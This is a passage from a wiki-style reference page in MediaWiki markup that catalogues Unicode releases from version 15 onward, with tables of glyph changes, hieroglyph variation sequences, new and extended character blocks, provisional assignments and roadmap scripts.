|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
